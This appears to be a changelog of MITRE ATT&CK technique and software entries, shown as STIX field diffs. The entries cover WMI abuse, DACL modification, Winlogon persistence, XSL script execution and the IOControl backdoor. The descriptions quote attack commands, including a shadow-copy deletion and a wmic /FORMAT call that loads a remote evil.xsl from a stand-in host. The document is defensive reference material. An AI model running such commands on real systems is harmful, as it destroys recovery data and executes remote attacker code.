| > | default” on Windows 11+. WMIC will be removed from subseque | > | default” on Windows 11+. WMIC will be removed from subsequen | ||
| > | nt Windows releases and replaced by [PowerShell](https://att | > | t Windows releases and replaced by [PowerShell](https://atta | ||
| > | ack.mitre.org/techniques/T1059/001) as the primary WMI inter | > | ck.mitre.org/techniques/T1059/001) as the primary WMI interf | ||
| > | face.(Citation: WMI 7,8) In addition to PowerShell and tools | > | ace.(Citation: WMI 7,8) In addition to PowerShell and tools | ||
| > | like `wbemtool.exe`, COM APIs can also be used to programma | > | like `wbemtool.exe`, COM APIs can also be used to programmat | ||
| > | tically interact with WMI via C++, .NET, VBScript, etc.(Cita | > | ically interact with WMI via C++, .NET, VBScript, etc.(Citat | ||
| > | tion: WMI 7,8) | > | ion: WMI 7,8) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.619000+00:00 | 2026-11-03 20:48:20.950000+00:00 |
| description | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8) | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3)(Citation: Mandiant WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8) |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Windo | > | n perform which actions (read, write, execute, etc.). Windo | ||
| > | ws implements file and directory ACLs as Discretionary Acces | > | ws implements file and directory ACLs as Discretionary Acces | ||
| > | s Control Lists (DACLs).(Citation: Microsoft DACL May 2018) | > | s Control Lists (DACLs).(Citation: Microsoft DACL May 2018) | ||
| > | Similar to a standard ACL, DACLs identifies the accounts tha | > | Similar to a standard ACL, DACLs identify the accounts that | ||
| > | t are allowed or denied access to a securable object. When a | > | are allowed or denied access to a securable object. When an | ||
| > | n attempt is made to access a securable object, the system c | > | attempt is made to access a securable object, the system che | ||
| > | hecks the access control entries in the DACL in order. If a | > | cks the access control entries in the DACL in order. If a ma | ||
| > | matching entry is found, access to the object is granted. Ot | > | tching entry is found, access to the object is granted. Othe | ||
| > | herwise, access is denied.(Citation: Microsoft Access Contro | > | rwise, access is denied.(Citation: Microsoft Access Control | ||
| > | l Lists May 2018) Adversaries can interact with the DACLs u | > | Lists May 2018) Adversaries can interact with the DACLs usi | ||
| > | sing built-in Windows commands, such as `icacls`, `cacls`, ` | > | ng built-in Windows commands, such as `icacls`, `cacls`, `ta | ||
| > | takeown`, and `attrib`, which can grant adversaries higher p | > | keown`, and `attrib`, which can grant adversaries higher per | ||
| > | ermissions on specific files and folders. Further, [PowerShe | > | missions on specific files and folders. Further, [PowerShell | ||
| > | ll](https://attack.mitre.org/techniques/T1059/001) provides | > | ](https://attack.mitre.org/techniques/T1059/001) provides cm | ||
| > | cmdlets that can be used to retrieve or modify file and dire | > | dlets that can be used to retrieve or modify file and direct | ||
| > | ctory DACLs. Specific file and directory modifications may b | > | ory DACLs. Specific file and directory modifications may be | ||
| > | e a required step for many techniques, such as establishing | > | a required step for many techniques, such as establishing Pe | ||
| > | Persistence via [Accessibility Features](https://attack.mitr | > | rsistence via [Accessibility Features](https://attack.mitre. | ||
| > | e.org/techniques/T1546/008), [Boot or Logon Initialization S | > | org/techniques/T1546/008), [Boot or Logon Initialization Scr | ||
| > | cripts](https://attack.mitre.org/techniques/T1037), or taint | > | ipts](https://attack.mitre.org/techniques/T1037), or taintin | ||
| > | ing/hijacking other instrumental binary/configuration files | > | g/hijacking other instrumental binary/configuration files vi | ||
| > | via [Hijack Execution Flow](https://attack.mitre.org/techniq | > | a [Hijack Execution Flow](https://attack.mitre.org/technique | ||
| > | ues/T1574). | > | s/T1574). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-11 19:58:37.542000+00:00 | 2026-11-04 03:19:45.906000+00:00 |
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018) Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identify the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018) Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse features of Winlogon to execute DLLs a | t | 1 | Adversaries may abuse features of Winlogon to execute DLLs a |
| > | nd/or executables when a user logs in. Winlogon.exe is a Win | > | nd/or executables when a user logs in. Winlogon.exe is a Win | ||
| > | dows component responsible for actions at logon/logoff as we | > | dows component responsible for actions at logon/logoff as we | ||
| > | ll as the secure attention sequence (SAS) triggered by Ctrl- | > | ll as the secure attention sequence (SAS) triggered by Ctrl- | ||
| > | Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow643 | > | Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow643 | ||
| > | 2Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code | > | 2Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code | ||
| > | > and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersio | > | > and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersio | ||
| > | n\Winlogon\</code> are used to manage additional helper prog | > | n\Winlogon\</code> are used to manage additional helper prog | ||
| > | rams and functionalities that support Winlogon.(Citation: Cy | > | rams and functionalities that support Winlogon.(Citation: Cy | ||
| > | lance Reg Persistence Sept 2013) Malicious modifications t | > | lance Reg Persistence Sept 2013) Malicious modifications t | ||
| > | o these Registry keys may cause Winlogon to load and execute | > | o these Registry keys may cause Winlogon to load and execute | ||
| > | malicious DLLs and/or executables. Specifically, the follow | > | malicious DLLs and/or executables. Specifically, the follow | ||
| > | ing subkeys have been known to be possibly vulnerable to abu | > | ing subkeys have been known to be possibly vulnerable to abu | ||
| > | se: (Citation: Cylance Reg Persistence Sept 2013) * Winlogo | > | se:(Citation: Cylance Reg Persistence Sept 2013) * Winlogon | ||
| > | n\Notify - points to notification package DLLs that handle W | > | \Notify - points to notification package DLLs that handle Wi | ||
| > | inlogon events * Winlogon\Userinit - points to userinit.exe, | > | nlogon events * Winlogon\Userinit - points to userinit.exe, | ||
| > | the user initialization program executed when a user logs o | > | the user initialization program executed when a user logs on | ||
| > | n * Winlogon\Shell - points to explorer.exe, the system shel | > | * Winlogon\Shell - points to explorer.exe, the system shell | ||
| > | l executed when a user logs on Adversaries may take advanta | > | executed when a user logs on Adversaries may take advantag | ||
| > | ge of these features to repeatedly execute malicious code an | > | e of these features to repeatedly execute malicious code and | ||
| > | d establish persistence. | > | establish persistence. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:53.539000+00:00 | 2026-11-04 00:54:14.046000+00:00 |
| description | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)
Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse:(Citation: Cylance Reg Persistence Sept 2013)
* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on
Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass application control and obscure execu | t | 1 | Adversaries may bypass application control and obscure execu |
| > | tion of code by embedding scripts inside XSL files. Extensib | > | tion of code by embedding scripts inside XSL files. Extensib | ||
| > | le Stylesheet Language (XSL) files are commonly used to desc | > | le Stylesheet Language (XSL) files are commonly used to desc | ||
| > | ribe the processing and rendering of data within XML files. | > | ribe the processing and rendering of data within XML files. | ||
| > | To support complex operations, the XSL standard includes sup | > | To support complex operations, the XSL standard includes sup | ||
| > | port for embedded scripting in various languages. (Citation: | > | port for embedded scripting in various languages.(Citation: | ||
| > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | ||
| > | functionality to execute arbitrary files while potentially | > | functionality to execute arbitrary files while potentially b | ||
| > | bypassing application control. Similar to [Trusted Developer | > | ypassing application control. Similar to [Trusted Developer | ||
| > | Utilities Proxy Execution](https://attack.mitre.org/techniq | > | Utilities Proxy Execution](https://attack.mitre.org/techniqu | ||
| > | ues/T1127), the Microsoft common line transformation utility | > | es/T1127), the Microsoft common line transformation utility | ||
| > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | > | binary (msxsl.exe)(Citation: Microsoft msxsl.exe) can be ins | ||
| > | nstalled and used to execute malicious JavaScript embedded w | > | talled and used to execute malicious JavaScript embedded wit | ||
| > | ithin local or remote (URL referenced) XSL files. (Citation: | > | hin local or remote (URL referenced) XSL files.(Citation: Pe | ||
| > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | > | netration Testing Lab MSXSL July 2017) Since msxsl.exe is no | ||
| > | not installed by default, an adversary will likely need to | > | t installed by default, an adversary will likely need to pac | ||
| > | package it with dropped files. (Citation: Reaqta MSXSL Spear | > | kage it with dropped files.(Citation: Reaqta MSXSL Spearphis | ||
| > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | > | hing MAR 2018) Msxsl.exe takes two main arguments, an XML so | ||
| > | L source file and an XSL stylesheet. Since the XSL file is v | > | urce file and an XSL stylesheet. Since the XSL file is valid | ||
| > | alid XML, the adversary may call the same XSL file twice. Wh | > | XML, the adversary may call the same XSL file twice. When u | ||
| > | en using msxsl.exe adversaries may also give the XML/XSL fil | > | sing msxsl.exe adversaries may also give the XML/XSL files a | ||
| > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | > | n arbitrary file extension.(Citation: XSL Bypass Mar 2019) | ||
| > | 9) Command-line examples:(Citation: Penetration Testing Lab | > | Command-line examples:(Citation: Penetration Testing Lab MSX | ||
| > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | > | SL July 2017)(Citation: XSL Bypass Mar 2019) * <code>msxsl. | ||
| > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | > | exe customers[.]xml script[.]xsl</code> * <code>msxsl.exe sc | ||
| > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | > | ript[.]xsl script[.]xsl</code> * <code>msxsl.exe script[.]jp | ||
| > | .]jpeg script[.]jpeg</code> Another variation of this techn | > | eg script[.]jpeg</code> Another variation of this technique | ||
| > | ique, dubbed “Squiblytwo”, involves using [Windows Managemen | > | , dubbed “Squiblytwo”, involves using [Windows Management In | ||
| > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | > | strumentation](https://attack.mitre.org/techniques/T1047) to | ||
| > | ) to invoke JScript or VBScript within an XSL file.(Citation | > | invoke JScript or VBScript within an XSL file.(Citation: LO | ||
| > | : LOLBAS Wmic) This technique can also execute local/remote | > | LBAS Wmic) This technique can also execute local/remote scri | ||
| > | scripts and, similar to its [Regsvr32](https://attack.mitre. | > | pts and, similar to its [Regsvr32](https://attack.mitre.org/ | ||
| > | org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverag | > | techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a | ||
| > | es a trusted, built-in Windows tool. Adversaries may abuse a | > | trusted, built-in Windows tool. Adversaries may abuse any a | ||
| > | ny alias in [Windows Management Instrumentation](https://att | > | lias in [Windows Management Instrumentation](https://attack. | ||
| > | ack.mitre.org/techniques/T1047) provided they utilize the /F | > | mitre.org/techniques/T1047) provided they utilize the /FORMA | ||
| > | ORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line e | > | T switch.(Citation: XSL Bypass Mar 2019) Command-line examp | ||
| > | xamples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmi | > | les:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) | ||
| > | c) * Local File: <code>wmic process list /FORMAT:evil[.]xsl | > | * Local File: <code>wmic process list /FORMAT:evil[.]xsl</co | ||
| > | </code> * Remote File: <code>wmic os get /FORMAT:”https[:]// | > | de> * Remote File: <code>wmic os get /FORMAT:”https[:]//exam | ||
| > | example[.]com/evil[.]xsl”</code> | > | ple[.]com/evil[.]xsl”</code> | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-04 00:46:01.746000+00:00 |
| description | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.(Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe)(Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.(Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.(Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yokogawa (Thailand & IT/OT SOC)'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-09 18:14:56.779000+00:00 | 2026-10-15 22:30:56.135000+00:00 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yokogawa (Thailand & IT/OT SOC)'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-07 21:51:02.824000+00:00 | 2026-10-15 22:31:25.626000+00:00 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | IOControl is a malware that targeted Linux ARM-based IoT/OT | t | 1 | [IOControl](https://attack.mitre.org/software/S9046) is a Li |
| > | devices including Hikvision IP cameras, D-Link firewalls and | > | nux backdoor compiled for 32-bit ARM devices that has been u | ||
| > | routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel ma | > | sed to target IoT and OT devices in Israel and the United St | ||
| > | nagement systems, and Baicells LTE controllers across the Un | > | ates, including IP cameras, routers, firewalls, PLCs, HMIs, | ||
| > | ited States and Israel. The malware has been attributed to [ | > | and Orpak and Gasboy fuel management systems. Affected vendo | ||
| > | CyberAv3ngers](https://attack.mitre.org/groups/G1027) which | > | rs include Baicells, D-Link, Hikvision, Phoenix Contact, Red | ||
| > | is suspected to be affiliated with the Iranian Government Is | > | Lion, Teltonika, and Unitronics. [IOControl](https://attack | ||
| > | lamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IO | > | .mitre.org/software/S9046) has been used by [CyberAv3ngers]( | ||
| > | CONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Arm | > | https://attack.mitre.org/groups/G1027) which is suspected to | ||
| > | is-IOCONTROL) | > | be affiliated with the Iranian Government Islamic Revolutio | ||
| > | nary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citati | ||||
| > | on: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yokogawa (Thailand & IT/OT SOC)'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-12 16:09:31.637000+00:00 | 2026-10-20 15:22:51.476000+00:00 |
| description | IOControl is a malware that targeted Linux ARM-based IoT/OT devices including Hikvision IP cameras, D-Link firewalls and routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel management systems, and Baicells LTE controllers across the United States and Israel. The malware has been attributed to [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) | [IOControl](https://attack.mitre.org/software/S9046) is a Linux backdoor compiled for 32-bit ARM devices that has been used to target IoT and OT devices in Israel and the United States, including IP cameras, routers, firewalls, PLCs, HMIs, and Orpak and Gasboy fuel management systems. Affected vendors include Baicells, D-Link, Hikvision, Phoenix Contact, Red Lion, Teltonika, and Unitronics. [IOControl](https://attack.mitre.org/software/S9046) has been used by [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:44:48.521000+00:00 | 2026-10-07 17:57:14.704000+00:00 |
| external_references[3]['description'] | Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021. | Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved October 7, 2026. |
| external_references[3]['url'] | https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation | https://web.archive.org/web/20220106180157/https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-11 01:44:05.770000+00:00 | 2026-11-02 16:23:35.738000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_contributors[0] | Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre | Elger Rodrigues, @elgerx |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:46:33.283000+00:00 | 2026-11-02 21:09:13.903000+00:00 |
| external_references[1]['url'] | https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/ | https://www.lumen.com/blog/en-us/uncovering-versa-director-zero-day-exploitation |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-12-09 02:29:13.859000+00:00 | 2026-10-07 19:20:10.980000+00:00 |
| external_references[7]['url'] | https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4 | https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
Description:
